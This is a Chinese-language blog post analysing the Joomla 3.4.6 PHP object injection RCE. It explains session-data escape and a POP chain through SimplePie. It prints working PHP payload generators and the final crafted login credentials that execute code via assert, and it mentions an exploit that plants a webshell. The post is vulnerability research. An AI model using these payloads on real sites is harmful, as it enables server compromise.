Yoga7xm's Blog

Joomla3.4.6 RCE漏洞分析

字数统计: 1.8k阅读时长: 8 min
2019/11/30 Share

Abstract

该漏洞是一个 PHP 对象注入漏洞,可导致远程代码执行后果

影响范围:

  • 3.0.0-3.4.6

下载源码:传送门

解压至www目录下,然后在浏览器中访问开始安装程序

【注】

  1. Joomla 3.4之前(包含3.4)不支持PHP7.0,会爆500的
  2. 最后一步安装时选择不安装示范数据
  3. 要求PHP5.3.10以上,但是需要小于5.6.13 ,本地5.6.27复现失败,调整为5.5.38成功

漏洞复现

利用的EXP:传送门

利用成功后就创建好了一个后门

漏洞分析

Session逃逸

进入index页面,尝试登录操作,任意输入账号和密码,抓包

提交登录时会将类似CSRF-Token的东西附加在POST数据包中,返回303状态,跳转到/joomla/index.php/component/users/?view=login让用户重新登录

Navicat连接数据库,查看表_session数据,复制出来

很明显的序列化数据,Joomla首先将用户输入的账号与密码进行序列化写入数据库,然后再取出来反序列化后进行比对。

我们来看写入函数Joomla/libraries/joomla/session/storage/database.php:write()

以及读取函数Joomla/libraries/joomla/session/storage/database.php:read()

protect类型的变量序列化之后存在空字节,而mysql无法保存Null字节的数据,所以写入的时候将chr(0) . '*' . chr(0)的数据转为\0\0\0,然后读取的时候给转回来再反序列化操作。

来看下面这个例子

很明显存入数据库的数据比原始数据要多3个字节,这就是造成这个洞的原因。

假设我们传入的用户名为\0\0\0admin,序列化之后写入数据库的值为

1
s:8:"username";s:11:"\0\0\0admin";s:8:"password";s:4:"pass";

调用read()之后,会将\0\0\0转为N*N,变成了

1
s:8:"username";s:11:"N*Nadmin";s:8:"password";s:4:"pass";

因为长度变短了3个字节就会“吃掉”后面3个字节的数据,这时候N*Nadmin";s表示username的值。利用这个思路,足够多的\0\0\0就可以将Password字段的数据逃逸出来,反序列化任意类了

1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:8:"qwertest"

read()之后就缩减为

1
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:8:"qwertest"

username的值为NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:8:"qwert,后面补上";就成功逃逸出来了

1
NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:8:"qwert";s:2:"HS":O:15:"ObjectInjection"

下面就是构造POP链了

POP链

早在2015年的时候,Joomla爆出的反序列化漏洞中就有一条POP链

libraries/joomla/database/driver/mysqli.php:JDatabaseDriverMysql

跟进这个disconnect()

使得$this->connection为true就会调用call_user_func_array($h, array( &$this)); ,而且第一个参数可控

call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异

  • 函数call_user_func_array 传递的第二个参数必须是数组;
  • 函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。

官方手册给了这个例子——调用类内部的方法

1
2
3
4
5
6
7
8
9
10
<?php
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

可以作为跳板执行任意类方法了

libraries/simplepie/simplepie.php:init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
....
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;

if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
...

这个call_user_func($this->cache_name_function, $this->feed_url)两个参数都是可控的,于是只要满足$this->cache为True,$this->raw_data为True,$parsed_feed_url['scheme']不为空就能够RCE了。

后者能够利用|| $a='http//';绕过scheme的解析

话不多说,赶紧构造Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class JDatabaseDriverMysqli{
protected $connection;
protected $disconnectHandlers;

function __construct(){
$this->connection = 1;
$this->disconnectHandlers = array("test"=>array(new SimplePie(),"init"));
}
}

class SimplePie{

var $feed_url;
var $raw_data;
var $cache_name_function;
var $cache;

function __construct(){
$this->cache = 1;
$this->raw_data = 1;
$this->cache_name_function = "assert";
$this->feed_url = "phpinfo();||$a=http://wtf";
}
}

$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);

拿到账号和密码

1
2
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
AAA";s:4:"test":O:21:"JDatabaseDriverMysqli":2:{s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{s:4:"test";a:2:{i:0;O:9:"SimplePie":4:{s:8:"feed_url";s:10:"phpinfo();";s:8:"raw_data";i:1;s:19:"cache_name_function";s:6:"assert";s:5:"cache";i:1;}i:1;s:4:"init";}}}

参数虽然传进去了,但是执行的时候却报错

返回报错信息

1
Fatal error: call_user_func_array(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition &quot;SimplePie&quot; of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in E:\phpstudy\PHPTutorial\WWW\Joomla\libraries\joomla\database\driver\mysqli.php on line 206

SimplePie这个类是不会自动加载的,所以报错了。

来看libraries/legacy/simplepie/factory.php

刚开始就导入了SimplePie类,而且这JSimplepieFactory类属于autoload的,能够自动加载。

修改Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
protected $abc;
protected $connection;
protected $disconnectHandlers;
function __construct()
{
$this->abc = new JSimplepieFactory();
$this->connection = 1;
$this->disconnectHandlers = [
[new SimplePie, "init"],
];
}
}

class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}

$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);

最终的账号与密码

1
2
3
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

AAA";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

成功执行命令

我们来看下EXP实现原理

验证阶段,借助print_r打印出一个随机字符,如果这个字符在响应中就能说明存在漏洞

利用阶段,使用file_put_contents写入一句话

这里补充一句

php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session

Reference

https://www.freebuf.com/vuls/216130.html

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

https://github.com/momika233/Joomla-3.4.6-RCE/blob/master/Joomla-3.4.6-RCE.py

https://mp.weixin.qq.com/s/NG0fw-si2BchcKVz5atsdA

CATALOG
  1. 1. Abstract
  2. 2. 漏洞复现
  3. 3. 漏洞分析
    1. 3.1. Session逃逸
    2. 3.2. POP链
  4. 4. Reference